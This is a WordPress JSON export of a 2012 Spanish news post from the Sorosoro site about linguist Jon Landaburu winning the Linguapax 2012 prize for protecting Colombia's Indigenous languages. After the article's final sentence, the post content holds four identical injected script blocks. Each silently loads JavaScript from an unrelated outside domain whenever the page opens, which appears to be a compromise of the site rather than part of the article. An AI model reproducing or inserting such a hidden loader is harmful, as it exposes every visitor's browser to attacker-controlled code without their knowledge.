{"id":63558,"date":"2012-03-09T15:37:43","date_gmt":"2012-03-09T14:37:43","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=63558"},"modified":"2025-10-21T22:08:13","modified_gmt":"2025-10-21T20:08:13","slug":"21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/","title":{"rendered":"21 de febrero de 2012: Jon Landaburu recibe el premio Linguapax 2012"},"content":{"rendered":"<p><a href=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/JonLandaburu1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-thumbnail wp-image-63559\" title=\"JonLandaburu\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/JonLandaburu1-150x150.jpg\" alt=\"JonLandaburu\" width=\"150\" height=\"150\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/JonLandaburu1-150x150.jpg 150w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/JonLandaburu1-300x300.jpg 300w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/JonLandaburu1.jpg 523w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>Linguapax es una organizaci\u00f3n no gubernamental creada en 1987 en Barcelona para contribuir con la preservaci\u00f3n y la promoci\u00f3n de la diversidad ling\u00fc\u00edstica en el mundo. Todos los a\u00f1os, recompensa ling\u00fcistas, investigadores, profesores, o miembros de la sociedad civil que se hayan destacado por su acci\u00f3n en este campo.<\/p>\n<p>Este a\u00f1o, es<strong> Jon Landaburu Illarramendi <\/strong>(1943, Paris) quien recibi\u00f3 el premio Linguapax 2012.<\/p>\n<p>Ling\u00fcista y filosofo de formaci\u00f3n, Jon Landaburu ha pasado su vida entre Francia, donde fue director del laboratorio CELIA (Centro de Estudios de las Lenguas Ind\u00edgenas de Am\u00e9rica) en el <strong>CNRS<\/strong> (Centro Nacional de la Investigaci\u00f3n Cient\u00edfica) y <strong>Colombia<\/strong>. Se especializo en las lenguas de este \u00faltimo pa\u00eds, las ha estudiado y se ha comprometido con ellas, hasta volverse una figura emblem\u00e1tica de su protecci\u00f3n. Es particularmente famoso por haber formado colombianos para seguir con el trabajo de documentaci\u00f3n y revitalizaci\u00f3n que hab\u00eda empezado.<\/p>\n<p>En pol\u00edtica tambi\u00e9n Jon Landaburu colabor\u00f3 activamente en diferentes programas de gobierno para la promoci\u00f3n de las lenguas. A petici\u00f3n del presidente de la rep\u00fablica, ha participado a la traducci\u00f3n de la constituci\u00f3n colombiana en diferentes lenguas regionales. Tambi\u00e9n le debemos, en colaboraci\u00f3n con el<strong> Ministerio Colombiano de la Cultura,<\/strong> la iniciativa de la <strong>Ley 1381<\/strong> (2010) que aspira a garantizar la protecci\u00f3n y el uso de las<strong> 68 lenguas ind\u00edgenas del pa\u00eds<\/strong>.<\/p>\n<p>Hoy, Jon Landaburu sigue aconsejando las instituciones locales e internacionales colombianas y muchas comunidades lo consultan.<br \/>\nEs en homenaje a su implicaci\u00f3n profesional y personal para proteger las lenguas minoritarias colombianas que recibi\u00f3 este a\u00f1o el premio Linguapax.<\/p>\n<p><strong>El 21 de mayo pr\u00f3ximo, Jon Landaburu recibir\u00e1 el premio en Barcelona.<\/strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Linguapax es una organizaci\u00f3n no gubernamental creada en 1987 en Barcelona para contribuir con la preservaci\u00f3n y la promoci\u00f3n de la diversidad ling\u00fc\u00edstica en el mundo. Todos los a\u00f1os, recompensa ling\u00fcistas, investigadores, profesores, o miembros de la sociedad civil que se hayan destacado por su acci\u00f3n en este campo. Este a\u00f1o, es Jon Landaburu Illarramendi [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7,4],"tags":[],"class_list":["post-63558","post","type-post","status-publish","format-standard","hentry","category-noticias","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>21 de febrero de 2012: Jon Landaburu recibe el premio Linguapax 2012 - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"21 de febrero de 2012: Jon Landaburu recibe el premio Linguapax 2012 - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Linguapax es una organizaci\u00f3n no gubernamental creada en 1987 en Barcelona para contribuir con la preservaci\u00f3n y la promoci\u00f3n de la diversidad ling\u00fc\u00edstica en el mundo. Todos los a\u00f1os, recompensa ling\u00fcistas, investigadores, profesores, o miembros de la sociedad civil que se hayan destacado por su acci\u00f3n en este campo. Este a\u00f1o, es Jon Landaburu Illarramendi [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2012-03-09T14:37:43+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:08:13+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/JonLandaburu1-150x150.jpg\" \/>\n<meta name=\"author\" content=\"antoine.launey\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"antoine.launey\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minuto\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/\"},\"author\":{\"name\":\"antoine.launey\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/2853490579be946b19a1024e41d99d89\"},\"headline\":\"21 de febrero de 2012: Jon Landaburu recibe el premio Linguapax 2012\",\"datePublished\":\"2012-03-09T14:37:43+00:00\",\"dateModified\":\"2025-10-21T20:08:13+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/\"},\"wordCount\":307,\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/JonLandaburu1-150x150.jpg\",\"articleSection\":[\"Noticias sobre los idiomas en peligro\",\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/\",\"name\":\"21 de febrero de 2012: Jon Landaburu recibe el premio Linguapax 2012 - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/JonLandaburu1-150x150.jpg\",\"datePublished\":\"2012-03-09T14:37:43+00:00\",\"dateModified\":\"2025-10-21T20:08:13+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/2853490579be946b19a1024e41d99d89\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/#primaryimage\",\"url\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/JonLandaburu1-150x150.jpg\",\"contentUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/JonLandaburu1-150x150.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"21 de febrero de 2012: Jon Landaburu recibe el premio Linguapax 2012\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/2853490579be946b19a1024e41d99d89\",\"name\":\"antoine.launey\",\"sameAs\":[\"http:\/\/www.sorosoro.org\/\"],\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/antoine-launey\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"21 de febrero de 2012: Jon Landaburu recibe el premio Linguapax 2012 - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/","og_locale":"es_ES","og_type":"article","og_title":"21 de febrero de 2012: Jon Landaburu recibe el premio Linguapax 2012 - Sorosoro","og_description":"Linguapax es una organizaci\u00f3n no gubernamental creada en 1987 en Barcelona para contribuir con la preservaci\u00f3n y la promoci\u00f3n de la diversidad ling\u00fc\u00edstica en el mundo. Todos los a\u00f1os, recompensa ling\u00fcistas, investigadores, profesores, o miembros de la sociedad civil que se hayan destacado por su acci\u00f3n en este campo. Este a\u00f1o, es Jon Landaburu Illarramendi [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/","og_site_name":"Sorosoro","article_published_time":"2012-03-09T14:37:43+00:00","article_modified_time":"2025-10-21T20:08:13+00:00","og_image":[{"url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/JonLandaburu1-150x150.jpg","type":"","width":"","height":""}],"author":"antoine.launey","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"antoine.launey","Tiempo de lectura":"1 minuto"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/"},"author":{"name":"antoine.launey","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/2853490579be946b19a1024e41d99d89"},"headline":"21 de febrero de 2012: Jon Landaburu recibe el premio Linguapax 2012","datePublished":"2012-03-09T14:37:43+00:00","dateModified":"2025-10-21T20:08:13+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/"},"wordCount":307,"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/JonLandaburu1-150x150.jpg","articleSection":["Noticias sobre los idiomas en peligro","Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/","url":"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/","name":"21 de febrero de 2012: Jon Landaburu recibe el premio Linguapax 2012 - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/#primaryimage"},"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/JonLandaburu1-150x150.jpg","datePublished":"2012-03-09T14:37:43+00:00","dateModified":"2025-10-21T20:08:13+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/2853490579be946b19a1024e41d99d89"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/#primaryimage","url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/JonLandaburu1-150x150.jpg","contentUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/JonLandaburu1-150x150.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2012\/03\/21-de-febrero-jon-landaburu-recibe-el-premio-linguapax-2012\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"21 de febrero de 2012: Jon Landaburu recibe el premio Linguapax 2012"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/2853490579be946b19a1024e41d99d89","name":"antoine.launey","sameAs":["http:\/\/www.sorosoro.org\/"],"url":"https:\/\/www.sorosoro.org\/es\/author\/antoine-launey\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/63558","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=63558"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/63558\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=63558"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=63558"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=63558"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}